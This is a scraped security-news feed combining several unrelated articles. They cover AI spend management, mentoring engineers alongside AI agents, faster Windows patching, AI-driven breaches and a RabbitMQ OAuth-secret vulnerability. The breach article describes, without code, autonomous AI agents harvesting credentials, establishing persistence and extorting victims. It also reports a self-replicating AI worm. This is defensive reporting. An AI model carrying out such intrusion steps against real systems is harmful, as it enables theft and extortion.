1Password launched <a href="https://1password.com/extended-access-management">Extended Access Management</a>, a platform designed to secure sign-ins across both managed and unmanaged applications and devices. That same year, it acquired Kolide for device trust and, in early 2025, Trelica for SaaS discovery. In June 2026, Gartner named 1Password a Leader in its Magic Quadrant for SaaS Management Platforms. According to 1Password's own blog post on the recognition, its SaaS Manager now supports over 400 integrations and provides visibility into a library of more than 40,000 pre-populated application profiles. Each step has moved the company further from its consumer roots and deeper into enterprise infrastructure. The AI Spend and Consumption Management launch extends that trajectory into financial operations territory — a domain where 1Password will compete not only with SaaS management vendors but potentially with dedicated FinOps platforms and the AI vendors' own billing dashboards.</p><h2><b>Why high AI token consumption doesn't always mean wasted money</b></h2><p>Perhaps the most revealing part of Henry's commentary concerns what organizations should actually do with the consumption data once they have it. He pushed back forcefully against the assumption that high token consumption automatically signals waste.</p><p>"A team burning through tokens may be building something genuinely valuable," he said. "A lower-usage project might not be moving the business forward at all. What matters is whether that consumption is producing enough business value to justify the spend."</p><p>Henry drew a distinction between personal productivity — "having a bot summarize your meeting or draft a quick email" — and genuine business outcomes. "What organizations need to see is where consumption is actually driving revenue, efficiency, or something that moves the needle."</p><p>That framing positions AI Spend and Consumption Management not just as a cost-cutting tool but as a decision-support system for AI investment allocation. If a CFO can see that one engineering team's heavy Claude usage is powering a product feature that drives revenue, while another team's OpenAI spend is funding low-value internal automation, the organization can reallocate budget accordingly rather than imposing across-the-board cuts.</p><p>"When costs rise faster than expected, the instinct is to cut," Henry said. "But most organizations can't yet tell which teams, models, or tools are responsible for the increase, so they end up cutting across the board rather than directing investment toward the AI projects that are actually delivering business value. Blunt cuts on a technology you're counting on for competitive advantage is not a management strategy, it's a missed opportunity."</p><h2><b>The next enterprise budget crisis is already here — and it's priced per token</b></h2><p>The product's current scope — three vendor integrations, alerting but not enforcement — is clearly a starting point. Henry signaled that automatic spend limits are on the roadmap and that additional vendor integrations will follow based on customer demand.</p><p>But the broader trajectory he described suggests 1Password sees this launch as a wedge into a much larger opportunity. "As traditional SaaS products add AI capabilities, their pricing models are going to follow," he said. "Organizations that build visibility and management discipline around consumption now are going to be in a much better position when that happens across the rest of their software portfolio."</p><p>If Henry is right, the chaos currently confined to AI token budgets is not a temporary growing pain but a preview of how all enterprise software will eventually be priced. A decade ago, companies scrambled to understand their cloud bills. Today, they are scrambling to understand their AI bills. The question is whether the organizations building the dashboards this time around can get ahead of the curve — or whether, as Henry warned, they will end up where so many companies ended up with cloud, realizing too late how much they were overpaying, and for how long.</p><p>AI Spend and Consumption Management is <a href="https://1password.com/lp/saas-manager">available now in public preview</a> for 1Password SaaS Manager customers. Broad availability is planned for fall 2026.</p><p>
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<title><![CDATA[Over The Edge 2.0: what independent researchers found about browser choice on Windows]]></title>
<description><![CDATA[Two years ago Mozilla asked two leading experts on deceptive design, Dr. Harry Brignull and Cennydd Bowles, to look at how Microsoft was treating people who tried to use a different browser on Windows. Their report, Over The Edge, documented a pattern of design choices in Windows, Edge, and Bing ...]]></description>
<link>https://tsecurity.de/de/3667953/tools/over-the-edge-20-what-independent-researchers-found-about-browser-choice-on-windows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3667953/tools/over-the-edge-20-what-independent-researchers-found-about-browser-choice-on-windows/</guid>
<pubDate>Tue, 14 Jul 2026 14:42:25 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Two years ago Mozilla asked two leading experts on deceptive design, Dr. Harry Brignull and Cennydd Bowles, to look at how Microsoft was treating people who tried to use a different browser on Windows. Their report, Over The Edge, documented a pattern of design choices in Windows, Edge, and Bing that nudged, pressured, and at […]</p>
<p>The post <a href="https://blog.mozilla.org/en/mozilla/browser-choice-windows-report-over-the-edge-2/">Over The Edge 2.0: what independent researchers found about browser choice on Windows</a> appeared first on <a href="https://blog.mozilla.org/en/">The Mozilla Blog</a>.</p>]]></content:encoded>
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<title><![CDATA[How do you go from junior to staff engineer when AI writes the code?]]></title>
<description><![CDATA[A few weeks ago, a new hire at Aviator, fresh out of college, asked me a question I didn’t have a clean answer to. How do I become a senior engineer, or even a staff engineer? What should I learn, and how?



It’s a fair question and a harder one to answer than it was just a year ago.



The path...]]></description>
<link>https://tsecurity.de/de/3667712/it-security-nachrichten/how-do-you-go-from-junior-to-staff-engineer-when-ai-writes-the-code/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3667712/it-security-nachrichten/how-do-you-go-from-junior-to-staff-engineer-when-ai-writes-the-code/</guid>
<pubDate>Tue, 14 Jul 2026 13:08:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">A few weeks ago, a new hire at Aviator, fresh out of college, asked me a question I didn’t have a clean answer to. How do I become a senior engineer, or even a staff engineer? What should I learn, and how?</p>



<p class="wp-block-paragraph">It’s a fair question and a harder one to answer than it was just a year ago.</p>



<p class="wp-block-paragraph">The path used to be well-known. As a newly hired junior software engineer, you were given an experienced mentor who would assign you simple tasks to learn the ropes. You’d write some code, ask plenty of questions, open a pull request, get feedback in code review, think about it and fix your code. Rinse and repeat that a few hundred times. The tasks became more complex; the feedback got shorter and along the way you’ve been building judgment, the thing that separates a senior engineer from a junior one.</p>



<p class="wp-block-paragraph">Now AI writes most of the code. The loop looks different and the easy assumption is that it’s broken: fewer tasks for juniors to cut their teeth on, an agent fixing the code that another agent wrote, thinner path to judgment.</p>



<h2 class="wp-block-heading"><a></a>Mentoring got easier, not harder</h2>



<p class="wp-block-paragraph">I knew just the person to ask: how do we grow senior and staff engineers in the AI era? Adam Berry is a staff engineer at Netflix, a member of <a href="https://dx.community/">The Hangar</a>, our community of engineering leaders, and someone I have been discussing the evolving role of code review and <a href="https://www.cio.com/article/4179485/ai-killed-the-code-review-what-happens-to-knowledge-sharing.html">knowledge sharing</a> for a while now. He spends his time on getting AI adoption right, rather than just fast, in their engineering organization and has been working out the question of growing new engineers in practice. Mentoring juniors in an agentic world, Adam says, isn’t harder; it’s embarrassingly easy.</p>



<p class="wp-block-paragraph">“You grow juniors and help them become better engineers the same way you always did. AI isn’t changing the methodology. It’s changing the details,” he told me. His point is that the agentic world gives a lot more options for giving juniors bounded tasks to work on and more feedback. The scattered remarks and comments seniors used to give in person now can be put into instructions and guardrails.</p>



<p class="wp-block-paragraph">Adam breaks working with agents into three foundational skills:</p>



<ul class="wp-block-list">
<li>If you don’t know how to do something with the agent, ask the agent.</li>



<li>If the agent does something you don’t like, figure out how to correct it and then codify it so it doesn’t happen again.</li>



<li>Your sense of when the agent has gone off the rails.<br><br></li>
</ul>



<p class="wp-block-paragraph">“Most juniors can pick up the first two on their own. On the third one, they need guidance, he says.<br><br></p>



<p class="wp-block-paragraph">His process for building it is staged. “The stages are about growing scope. First, you give a junior engineer a well-specified task—and these are now bigger than what you’d have given a junior before. You can give them task definitions that are like a prompt and instructions to drive that prompt, make sure they got to a good plan, make sure they understood the plan, and that they thought through the test cases, etc.<br><br>Then gradually you peel off some of that specificity so they have to build the muscle themselves. Once they’ve gotten good at that level of scope, they’re ready to work on larger scoped problems.”<br><br>Starting from more specific problems and going towards ambiguous problems is the definition of growing as an engineer.</p>



<h2 class="wp-block-heading"><a></a>Pair programming with the agent in the room</h2>



<p class="wp-block-paragraph">Seniors can still do pairing sessions with juniors, now with the agent in the room.<br><br>“In the pairing session, the earlier-career engineer should be the one driving. The agent can be set up to interrogate the junior rather than just answer them. None of you is manually writing code, but you’re still doing pair programming and mentoring. Even if it’s just a trivial bug fix, if you guide a junior through it, it forces them to do just that little bit of thinking.”<br><br>Adam says mentoring juniors today does not have to mean forcing them to write code manually. Seniors should teach them the process of agentic engineering, and that’s exactly what they should focus on during the pairing sessions. The habit he wants to be installed early is asking for options instead of answers.<br><br>“I aim to teach juniors to ask for options and think through them, even on small tasks. I ask them to explain what their input to the AI tool was that led to the code they got. But I’d also show them how I would have done the same thing.”<br><br>The pairing produces artifacts as it goes. “That’s where you get into conversations of, ‘This is why that wasn’t quite it for me,’ and if I see that that’s not baked into the repo, I’m going to add this into the ADR, into the design, into the instruction set. I’ll codify that so the junior gets it too, and they know why it exists, because they watched me go through it with the tool myself.”</p>



<p class="wp-block-paragraph">That reshapes the code review instead of removing it. Making that work puts more on senior engineers, not less. “Senior engineers need to ensure that things like ADRs, or whatever system you use, are properly encapsulated in the repo for both the agents and the humans to consume.” His team also attaches the prompts to the pull request and has the agent summarize what it did against what the prompt asked.<br><br></p>



<p class="wp-block-paragraph">Adam also teaches junior engineers how to bring in expert sources from outside into AI tools. He’ll point an agent at a book like Michael Feathers’ <em>Working with Legacy Code</em> as an example of what quality code looks like and have it work from the concepts directly.</p>



<h2 class="wp-block-heading"><a></a>Don’t outsource the thinking</h2>



<p class="wp-block-paragraph">His arguments make sense, but I also recently came across <a href="https://ieeexplore.ieee.org/stamp/stamp.jsp?arnumber=11363384">research</a> examining the influence of AI tools on how and why members of software engineering teams interact. Their finding was not surprising: of the 131 surveyed developers, 51% said they now ask GenAI for technical help they once would have asked a person, and 62% said it was easier to ask GenAI without fear of embarrassment.</p>



<p class="wp-block-paragraph">When a junior gets stuck now, their first move usually isn’t to message a senior on Slack. It’s to ask the agent. This is also the case in code reviews. The purpose of code reviews was always <a href="https://www.cio.com/article/4179485/ai-killed-the-code-review-what-happens-to-knowledge-sharing.html">knowledge sharing </a>as much as it was a quality gate. What I see junior engineers do now is take the feedback and, without reading it closely, hand it straight to the agent to resolve. The part where they would have to understand how their work differed from what the senior expected disappears. It got passed from the reviewer to the agent, and the junior skipped the understanding.</p>



<p class="wp-block-paragraph">This isn’t really the junior’s fault. They need the motivation and the space to do it differently, and the default pattern under delivery pressure is to push the thing out and worry about it later.<br><br>The same research showed that developers turned to colleagues with questions about context (65% to clarify business logic or requirements, 50% for how something had been done before).</p>



<p class="wp-block-paragraph">Respondents were also aware of the trap that Berry’s approach was created to avoid: AI tends to hand back a single answer, compared to multiple perspectives a colleague surfaces and they kept seeking teammates for context-specific expertise, mentorship and plain social connection.</p>



<p class="wp-block-paragraph"><br>The fix is almost mechanical: if you have to make a choice, you have to think about it. I do this in my own product thinking. Most of it happens by bouncing ideas off Claude, but whenever something is complex, I make myself lay out a few options, trade them against each other and decide which direction to take. That’s the same move Berry wants juniors making, and it’s what builds judgment, whether you’re twenty-two or forty.</p>



<h2 class="wp-block-heading"><a></a>Why we should still hire juniors</h2>



<p class="wp-block-paragraph">There’s also a hiring question underneath all of this. We recently hosted Kent Beck, an industry legend, at <a href="https://dx.community/">the Hanga</a>r in a session we called “Juniors FTW,” and his reasoning was that the industry is being remade fast enough that being new is an advantage. Juniors are too new to have absorbed what everyone “knows” is impossible, which leaves them less biased, more creative and carrying fewer preconceived mental barriers.</p>



<p class="wp-block-paragraph">Beck also <a href="https://newsletter.kentbeck.com/p/hey-n00b-we-didnt-hire-you-to-complete">wrote</a> about how important it is to hire juniors without the calculation of how many tasks they can perform.<br><br>“If all we cared about was today’s productivity, we wouldn’t have hired you at all. Instead, we (the seniors) are focused on the future: we know there’s going to be far more work here than we could possibly accomplish. We are paying your salary now as the option premium on the engineer you will become. If we play this game right, we’ll have a kick-ass next generation of engineers. If not, we’ll have to be doing the same engineering jobs ten years from now, and we really don’t want to be doing that.”</p>



<h2 class="wp-block-heading"><a></a>The pipeline is thinning</h2>



<p class="wp-block-paragraph">The trend is running the other way. Entry-level hiring at the 15 biggest tech firms fell 25 percent from 2023 to 2024, according to a <a href="https://www.signalfire.com/blog/signalfire-state-of-talent-report-2025">report from SignalFire</a>. In a recent <a href="https://stackoverflow.blog/2025/12/26/ai-vs-gen-z/">survey of engineering leaders</a>, a majority said they plan to hire fewer juniors, on the logic that AI lets seniors cover more ground.</p>



<p class="wp-block-paragraph">That logic is short-sighted in a specific way. Senior engineers don’t appear from nowhere. They’re the juniors someone hired five or ten years ago and invested in mentoring them. Stop hiring and growing juniors now, and the gap doesn’t show up this year. It shows up later, when the industry needs people with the judgment that only comes from years of making mistakes and recovering from them and finds it stopped producing them.</p>



<p class="wp-block-paragraph">So, here’s the answer to the question that the new hire asked: the path to senior and to staff is the same path it always was. You grow the range of ambiguity you can handle, and you stay honest about the part you can’t handle yet. What changed is the interface. The agent writes the code. Your job is to keep asking questions to your colleagues and the agents and keep doing the thinking until the thinking is good.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Microsoft warnt: Darum sollten Sie Windows-Updates jetzt zeitnah installieren]]></title>
<description><![CDATA[Microsoft hat seine Empfehlung für das Aufspielen von Windows-Updates drastisch geändert. Die Updates sollten nun so schnell wie möglich auf Ihren Windows-Rechnern landen.



Der Grund für die drastisch geänderte Empfehlung: KI. Denn mit KI können Hacker bekannte Lücken jetzt rasend schnell in no...]]></description>
<link>https://tsecurity.de/de/3667259/it-nachrichten/microsoft-warnt-darum-sollten-sie-windows-updates-jetzt-zeitnah-installieren/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3667259/it-nachrichten/microsoft-warnt-darum-sollten-sie-windows-updates-jetzt-zeitnah-installieren/</guid>
<pubDate>Tue, 14 Jul 2026 10:18:31 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p>Microsoft hat seine Empfehlung für das Aufspielen von Windows-Updates drastisch geändert. Die Updates sollten nun so schnell wie möglich auf Ihren Windows-Rechnern landen.</p>



<p>Der Grund für die drastisch geänderte Empfehlung: KI. Denn mit KI können Hacker bekannte Lücken jetzt rasend schnell in noch ungepatchten Windows-Rechnern aufspüren und ausnutzen. Im Vorfeld des Microsoft-Patchday im Juli 2026 erklärte das Unternehmen, dass niemand Windows-Updates länger als drei Tage hinauszögern soll (<a href="https://www.pcwelt.de/article/3113301/windows-update-zwang-vor-dem-ende-erste-nutzer-testen-neues-updates-pausieren-menue.html" target="_blank" rel="noreferrer noopener">obwohl das mittlerweile bequem über eine Kalenderfunktion möglich ist</a>). Das <a href="https://www.windowslatest.com/2026/07/14/microsoft-admits-ai-is-exploiting-windows-11-bugs-in-hours-warns-against-delaying-updates-past-3-days/">berichtet </a>Windowslatest.</p>



<p>Das gilt umso mehr, weil Microsoft zuletzt immer mehr Lücken an Patchdays geschlossen hat.<a href="https://www.pcwelt.de/article/3161344/rekord-patch-day-microsoft-schliest-uber-200-sicherheitslucken.html" target="_blank" rel="noreferrer noopener"> Im Juni 2026 stopften die Redmonder beispielsweise insgesamt 206 Lücken in ihren Software-Produkten. </a>Dazu trägt ebenfalls die KI bei, die Lücken oft schneller entdecken kann, als es Menschen können. </p>



<p>Deshalb sei die bisher vielfach geübte Praxis, dass man das Aufspielen von Patches um viele Tage oder Wochen hinausschiebt, um erst einmal abzuwarten, ob die Patches sauber funktionieren und nicht etwa das Windows-System unstabil machen, jetzt nicht mehr praktikabel. Jeremy Chapman, Director bei Microsoft 365: “<em>Die Gefahr ist real. Die Gesamtzahl der behobenen Sicherheitslücken ist seit April dieses Jahres gestiegen</em>.“</p>



<p><em>Übrigens: Sollten Sie Windows 11 Home im Einsatz haben, dann entgehen Ihnen die vielen Vorteile der Pro-Version, die wir Ihnen <a href="https://www.pcwelt.de/article/1203134/windows-11-unterschiede-zwischen-home-und-pro-version.html" target="_blank" rel="noreferrer noopener">hier vorstellen.</a> Im PC-WELT Software-Shop ist das Windows-11-Upgrade <a href="https://software.pcwelt.de/offer/windows_11_professional_upgrade/44487?x-source=rss" target="_blank" rel="noreferrer noopener">für günstige 59,99 Euro statt 145 Euro</a> erhältlich.</em></p>



<p>Insbesondere Claude Mythos hat Unternehmen und Sicherheitsexperten aufgeschreckt. <a href="https://www.anthropic.com/research/glasswing-initial-update">Claude Mythos</a> kann Sicherheitslücken in Rekordzeit entdecken. Und Claude Mythos ist eben nicht das einzige KI-Tool, das hierzu in der Lage ist. Auch Microsoft hat ein <a href="https://www.microsoft.com/en-us/security/blog/2026/05/12/defense-at-ai-speed-microsofts-new-multi-model-agentic-security-system-tops-leading-industry-benchmark/">eigenes KI-Tool</a> zum Aufspüren von Schwachstellen entwickelt: MDASH. <a href="https://news.microsoft.com/source/emea/2026/05/cybersecurity-in-ki-geschwindigkeit-microsofts-neues-agentenbasiertes-multi-modell-system-mdash-setzt-neue-massstaebe/?lang=de" target="_blank" rel="noreferrer noopener">MDASH</a> überprüft den Windows-Code auf verdächtige Muster, und alle KI-Agenten im System tauschen sich untereinander aus, um tatsächliche Probleme zu diagnostizieren.</p>



<p>Sobald eine Sicherheitslücke öffentlich bekannt wird, kann KI Angreifern dabei helfen, das Problem zu analysieren und innerhalb weniger Stunden einen Exploit zu entwickeln. Aus diesem Grund möchte Microsoft nicht mehr, dass Unternehmen Windows-PCs wochenlang ohne Patches lassen. Jeremy Chapman hierzu:</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p>Um diesem Problem zu begegnen, haben wir unsere Empfehlungen für die Bereitstellung von Windows-Updates aktualisiert und den Aufschubzeitraum für Qualitätsupdates auf weniger als drei Tage festgelegt. Die Fristen für diese Updates wurden auf null oder einen Tag festgelegt, und die Nachfrist für Updates auf maximal zwei Tage.“</p>
</blockquote>



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<title><![CDATA[AI-powered breaches provide wake-up call for incident response]]></title>
<description><![CDATA[Enterprises have worked for years to improve detection and response times in the face of increasingly sophisticated attacks that relied on manual hacking and living-of-the-land techniques. AI is now threatening to undo those efforts.



An increasing number of threat actors are automating all pha...]]></description>
<link>https://tsecurity.de/de/3667106/it-security-nachrichten/ai-powered-breaches-provide-wake-up-call-for-incident-response/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3667106/it-security-nachrichten/ai-powered-breaches-provide-wake-up-call-for-incident-response/</guid>
<pubDate>Tue, 14 Jul 2026 09:08:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Enterprises have worked for years to improve detection and response times in the face of increasingly sophisticated attacks that relied on manual hacking and living-of-the-land techniques. AI is now threatening to undo those efforts.</p>



<p class="wp-block-paragraph">An increasing number of threat actors are automating all phases of attacks, including lateral movement by using LLM-powered agents, severely reducing the time from initial access to deep environment compromises.</p>



<p class="wp-block-paragraph">“The real shift is speed, scale, and orchestration: familiar cloud attack techniques were executed faster and across more surfaces than defenders could comfortably contain,” wrote researchers from security firm Sygnia last week in <a href="https://www.sygnia.co/blog/inside-an-ai-assisted-cloud-attack/">a report about an AI-assisted cloud environment compromise</a> they investigated.</p>



<p class="wp-block-paragraph">Sygnia’s report came on the heels of research from Sysdig about <a href="https://www.csoonline.com/article/4193195/this-ai-agent-autonomously-hacked-a-network-adapted-on-the-fly-and-demanded-a-ransom.html">a cyber intrusion and extortion campaign conducted end to end by an autonomous AI agent</a>. Actions undertaken by the agent included harvesting credentials, mapping internal services, and establishing persistence.</p>



<p class="wp-block-paragraph">What both incidents show is that AI attacks have graduated beyond LLM-written malware scripts and phishing lures to handling all stages of attack chains, including parts that previously required human reasoning and hands-on command execution adapted to the environment.</p>



<p class="wp-block-paragraph">Last month researchers from the University of Toronto revealed that they <a href="https://www.csoonline.com/article/4181924/ai-worm-prototype-shows-attackers-dont-need-mythos-to-take-over-your-network.html">managed to create an AI-powered self-replicating worm</a> capable of autonomously finding and exploiting weaknesses in dozens of simulated systems. The researchers achieved this by leveraging an open-weight AI model and building an attack harness to keep it on track.</p>



<p class="wp-block-paragraph">While it may not be surprising to security experts that this level of AI-assisted attack automation is already happening in the wild, it’s very unlikely that many companies have had time to adapt their defenses.</p>



<p class="wp-block-paragraph">“What this exposes is a truth that all security personnel must come to terms with: Most breaches won’t hinge on advanced AI, but on unpatched systems, exposed services, and weak identity controls,” Gidi Cohen, CEO and co-founder of AI security startup Bonfy.ai, tells CSO. “AI just makes those gaps impossible to ignore. The organizations that will struggle aren’t the ones lacking AI defenses; they’re the ones still relying on human-speed security in a machine-speed threat environment.”</p>



<h2 class="wp-block-heading">No need for zero-days</h2>



<p class="wp-block-paragraph">As aptly demonstrated by the U of Toronto study, AI agents don’t need sophisticated zero-day vulnerabilities to break into environments, because many environments have systems and applications with known flaws and generic weaknesses.</p>



<p class="wp-block-paragraph">The attack documented by Sysdig, which its researchers dubbed JadePuffer, exploited a year-old vulnerability (<a href="https://nvd.nist.gov/vuln/detail/CVE-2025-3248">CVE-2025-3248</a>) in Langflow, ironically a tool for building AI agents. In the new attack documented by Sygnia, attackers exploited a weakness in a web application that enabled them to find a stored AWS key. From there they quickly made their way through the victim’s cloud environment with the help of AI automation.</p>



<p class="wp-block-paragraph">“The threat actor was not exploiting a single misconfiguration; they were chaining weaknesses across application services, AWS resources, source-control repositories, CI/CD workflows, runtime components, and data stores, while rapidly executing credential discovery, secrets harvesting, cloud enumeration, deployment-pipeline abuse, runtime modification, database access, and operational disruption,” the researchers said.</p>



<p class="wp-block-paragraph">As with the JadePuffer case, the attackers documented by Sygnia were focused on extorting money from the victim. To achieve this, they compromised as many AWS instances as possible, exfiltrated data but also set up multiple persistence points in the AWS environment. The goal was to put pressure on the victim by demonstrating that despite recovery efforts they still had access to the environment.</p>



<h2 class="wp-block-heading">Speed is the new game</h2>



<p class="wp-block-paragraph">Once sophisticated attackers break into an environment they often spend weeks or even months slowly moving to other systems. This is in part because it takes time for a human team to gain a thorough understanding of the environment and to find where the most valuable systems are.</p>



<p class="wp-block-paragraph">This activity is also often trial-and-error: The attackers perform reconnaissance to discover the network’s topology, find exploitable weaknesses in additional systems, and search them for stored credentials that could provide access to more targets, all while using existing OS tools or common system administration techniques that won’t trip malware and intrusion detection systems.</p>



<p class="wp-block-paragraph"><a href="https://www.csoonline.com/article/569703/threat-hunting-explained-taking-an-active-approach-to-defense.html">Active threat hunting</a> is one way to counter such techniques that are designed to evade automated detection. When threat hunting, human analysts inspect the organization’s network and systems manually for signs of compromises that might have been missed by tools. This is a slow but effective defensive technique — but only if attackers operate with the same time constraints.</p>



<p class="wp-block-paragraph">“Traditional incident response often relies on the assumption that attacker progression will generate enough observable signals for defenders to investigate and contain activity before access materially expands across the environment,” Sygnia’s researchers wrote in their report. “The observed attack pattern challenged this assumption. Forensic traces showed rapid, repeated activity consistent with automated or AI-assisted workflows for credential harvesting, permission analysis, vulnerability discovery, and attack-path mapping, allowing the intrusion to progress across multiple stages in a compressed time frame.”</p>



<p class="wp-block-paragraph">And it wasn’t a case of simple automated scripts going through an attack playbook either, but workstreams that showed clear signs of environment adaptation. Every new access was rapidly assessed and resulted in actions tailored for that specific system, whether an EC2 instance, S3 bucket, SQL database, or a CI/CD runner on GitHub.</p>



<h2 class="wp-block-heading">Prevention is back in the spotlight</h2>



<p class="wp-block-paragraph">The obvious answer to AI-assisted attacks is AI-assisted defense. But simply the presence of AI-powered features in detection and response products is not a guarantee for thwarting such fast and adaptive attacks. Organizations must ensure all these tools and workflows are well integrated into a coordinated process across their different teams.</p>



<p class="wp-block-paragraph">Moreover, these attacks show the value of defense-in-depth actions such as continuous validation of configurations, fast patch deployment, frequent secrets rotation, network segmentation, IP-based access control rules, implementing the principle of least privilege for credentials, restricting administrative privileges, enabling multi-factor authentication, and isolating cloud workloads.</p>



<p class="wp-block-paragraph">Sygnia also recommends building automated response playbooks that can be quickly adjusted and deployed when potential signs of compromise are detected.</p>



<p class="wp-block-paragraph">“The skill floor for running a ransomware operation dropped to the cost of running an agent,” Dray Agha, senior manager of tactical response at security firm Huntress, tells CSO. “Very mediocre cyber criminals can now ‘level up’ their impact from AI. That should worry defenders more than any single new technique, as it means more attackers, more often, against more of the long tail of unpatched, exposed infrastructure.”</p>
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<title><![CDATA[RabbitMQ Vulnerability Exposes OAuth Secrets to Attackers]]></title>
<description><![CDATA[A newly disclosed RabbitMQ vulnerability, tracked as CVE-2026-5721, has raised concerns among enterprise users after researchers revealed that the flaw could allow unauthenticated attackers to retrieve a broker's confidential OAuth client secret. The successful exploitation could enable attackers...]]></description>
<link>https://tsecurity.de/de/3666963/it-security-nachrichten/rabbitmq-vulnerability-exposes-oauth-secrets-to-attackers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666963/it-security-nachrichten/rabbitmq-vulnerability-exposes-oauth-secrets-to-attackers/</guid>
<pubDate>Tue, 14 Jul 2026 07:52:08 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1239" height="715" src="https://thecyberexpress.com/wp-content/uploads/CVE-2026-5721.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="CVE-2026-5721" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/CVE-2026-5721.webp 1239w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-5721-300x173.webp 300w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-5721-1024x591.webp 1024w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-5721-768x443.webp 768w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-5721-600x346.webp 600w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-5721-150x87.webp 150w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-5721-750x433.webp 750w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-5721-1140x658.webp 1140w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-5721.webp 1239w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-5721-300x173.webp 300w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-5721-1024x591.webp 1024w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-5721-768x443.webp 768w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-5721-600x346.webp 600w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-5721-150x87.webp 150w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-5721-750x433.webp 750w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-5721-1140x658.webp 1140w" sizes="(max-width: 1239px) 100vw, 1239px" title="RabbitMQ Vulnerability Exposes OAuth Secrets to Attackers 1"></p><span data-contrast="auto">A newly disclosed RabbitMQ vulnerability, tracked as CVE-2026-5721, has raised concerns among enterprise users after researchers revealed that the flaw could allow unauthenticated attackers to retrieve a broker's confidential OAuth client secret. The successful exploitation could enable attackers to impersonate the broker, obtain administrator-level access, and potentially take control of the messaging infrastructure.</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":240,"335559739":240,"335559740":279}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">CVE-2026-5721 Allows Exposure of OAuth Client Secrets</span></b><span data-ccp-props='{"134233117":false,"134233118":false,"134245418":true,"134245529":true,"335551550":0,"335551620":0,"335559738":299,"335559739":299}'> </span></h3>
<span data-contrast="auto">RabbitMQ, a widely used open source message broker that enables asynchronous communication by routing, buffering, and distributing messages between applications, is affected by the issue. The CVE-2026-5721 flaw carries a CVSS severity score of 8.7 and stems from an exposed management endpoint that returns the OAuth client secret without requiring authentication.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">The RabbitMQ <a class="wpil_keyword_link" href="https://thecyberexpress.com/firewall-daily/vulnerabilities/" title="vulnerability" data-wpil-keyword-link="linked" data-wpil-monitor-id="28951">vulnerability</a> originates from an obsolete endpoint in the platform's management web interface. It can be exploited when <a href="https://thecyberexpress.com/blackbasta-ransomware-attack-us-organisations/" target="_blank" rel="noopener">administrators</a> configure the broker with a confidential password for identity provider authentication. </span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">The <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-risks-in-cybersecurity/" title="risk" data-wpil-keyword-link="linked" data-wpil-monitor-id="28952">risk</a> is particularly significant in deployments using OAuth 2.0 or OpenID Connect identity providers such as Auth0, Azure AD/Entra ID, Keycloak, or UAA, where confidential client secrets are commonly configured. In such environments, attackers exploiting CVE-2026-5721 could obtain administrator tokens and gain control over users, queues, messages, and broker configurations.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">Which RabbitMQ Deployments Are at Risk?</span></b><span data-ccp-props='{"134233117":false,"134233118":false,"134245418":true,"134245529":true,"335551550":0,"335551620":0,"335559738":299,"335559739":299}'> </span></h3>
<span data-contrast="auto">However, systems without a configured client secret are not vulnerable because there is no credential to expose. Likewise, RabbitMQ deployments that do not use the management plugin are unaffected by this RabbitMQ vulnerability.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">Cybersecurity firm Miggo <a href="https://www.miggo.io/post/full-broker-takeover-no-login-required-miggo-discovers-critical-rabbitmq-vulnerabilities-putting-application-data-at-risk" target="_blank" rel="nofollow noopener">warned</a> that the highest risk exists when the management interface is accessible from untrusted networks. The risk is sharpest wherever the management port is reachable by an untrusted network: cloud or multi-tenant setups, or a management UI accidentally exposed to the <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-internet/" title="internet" data-wpil-keyword-link="linked" data-wpil-monitor-id="28953">internet</a>," the company said.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

